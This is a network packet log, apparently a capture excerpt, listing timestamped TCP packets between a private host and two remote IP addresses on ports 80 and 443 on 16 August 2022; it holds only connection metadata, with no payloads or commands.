Aug 16, 2022 11:49:45.714055061 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.714123964 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.714178085 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.716634989 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.930600882 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.930629969 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.930643082 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.930718899 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.935817003 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.935866117 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.935883999 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.935897112 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.935914040 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.935933113 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.935976982 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.935993910 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.936027050 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.936067104 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.936086893 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.936130047 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.936135054 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.936260939 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.936310053 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.936352015 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.936389923 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.936429024 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.936469078 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.936486959 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.936544895 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.936553001 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.936598063 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.936610937 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.936655045 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.936674118 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.936716080 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.936810017 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.936827898 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.936851025 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.936861038 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.936866045 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.936906099 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.960051060 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.961224079 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.963429928 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.969978094 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.042129993 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.079513073 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.079612970 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.079663038 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.079693079 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.079720020 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.079736948 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.079741955 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.079758883 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.080490112 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.081759930 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.081779957 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.081801891 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.081916094 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.081938028 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.082021952 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.083282948 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.083465099 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.083487988 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.084405899 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.084482908 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.084505081 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.084521055 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.084702969 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.087938070 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.088027954 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.088047981 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.088093042 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.088099957 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.088294029 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.088304996 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.088366032 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.097611904 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.098004103 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.098020077 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.098036051 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.098685026 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.098705053 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.098807096 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.101469994 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.101593971 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.101600885 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.101615906 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.101661921 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.101666927 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.101670980 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.101861000 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.102184057 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.102294922 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.102305889 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.102379084 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.103549004 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.103682995 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.103699923 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.103754044 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.104856968 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.104954958 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.104971886 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.105128050 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.106137037 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.106570005 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.106587887 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.107371092 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.107392073 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.108510017 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.108566046 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.108580112 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.108599901 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.108618021 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.108620882 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.108644962 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.109877110 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.110184908 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.110204935 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.110271931 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.111028910 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.111372948 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.111388922 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.112190008 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.112247944 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.112263918 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.112277985 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.112471104 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.113332987 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.113400936 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.113416910 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.114521980 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.114550114 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.114569902 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.114584923 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.114624023 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.115773916 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.115933895 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.115955114 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.116184950 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.116929054 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.117039919 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.117055893 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.117117882 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.117824078 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.117918968 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.117933989 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.117995977 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.118752003 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.118896961 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.118912935 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.119055033 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.174314976 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.191735029 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.191773891 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.191833019 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.191894054 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.191911936 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.191932917 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.191947937 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.191998959 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.192039013 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.195488930 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.199130058 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.207309008 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.207386971 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.207945108 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.327382088 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.327918053 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.415967941 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.436340094 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.436414003 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.436876059 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.447263956 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.447283983 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.447303057 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.447339058 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.447410107 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.447429895 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.447446108 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.447453976 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.447479963 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.447484016 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.447490931 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.447525978 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.447567940 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.447583914 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.447599888 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.447612047 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.447662115 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.447699070 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.449563026 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.535401106 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.535594940 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.676326990 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.676377058 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.676398039 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.676419973 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.676443100 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.676465034 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.676474094 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.676507950 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.676517010 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.678895950 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.680706024 CEST	49183	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.687478065 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.687515974 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.687540054 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.687552929 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.687561989 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.687587023 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.687591076 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.687593937 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.688505888 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.689532995 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.729247093 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.729269981 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.729289055 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.729388952 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.730181932 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.731374025 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.732264996 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:46.732285023 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:46.908382893 CEST	80	49183	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.908684015 CEST	49183	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.909616947 CEST	49183	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.911767006 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.911899090 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.912892103 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:46.916176081 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:46.927274942 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.137249947 CEST	80	49183	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.139813900 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.140077114 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.140150070 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.140212059 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.140254974 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.140295982 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.140333891 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.140453100 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.140495062 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.140664101 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.140729904 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.140789032 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.140834093 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.140939951 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.140985966 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.141057968 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.141109943 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.141205072 CEST	80	49183	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.141252041 CEST	80	49183	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.141252995 CEST	49183	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.141273975 CEST	80	49183	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.141288996 CEST	49183	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.141299963 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.141309977 CEST	49183	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.141318083 CEST	80	49183	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.141335964 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.141357899 CEST	49183	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.141427040 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.141470909 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.142637968 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.142719984 CEST	49183	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.144242048 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.356215000 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.356400013 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.357372046 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.360235929 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.360358953 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.360574961 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.360634089 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.360893965 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.360949993 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.361377954 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.361463070 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.361588955 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.361651897 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.361943007 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.362013102 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.362199068 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.362257957 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.362536907 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.362606049 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.368010998 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.368146896 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.368582010 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.368618965 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.368659973 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.368674040 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.368944883 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.368983984 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.369219065 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.369261026 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.369496107 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.369539976 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.370168924 CEST	80	49183	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.418277025 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.420319080 CEST	49186	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.573367119 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.573851109 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.573889017 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.573915005 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.573939085 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.573961973 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.573965073 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.573981047 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.573983908 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.573992968 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.573995113 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.574017048 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.574028015 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.574043036 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.574049950 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.574069023 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.574084044 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.574090004 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.574099064 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.574115038 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.575731993 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.577038050 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.635365009 CEST	80	49186	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.635518074 CEST	49186	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.636425018 CEST	49186	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.649600029 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.801143885 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.801188946 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.801203012 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.801393032 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.831057072 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.832504034 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:47.851249933 CEST	80	49186	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.857049942 CEST	80	49186	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:47.857084036 CEST	80	49186	187.45.240.69	192.168.2.22
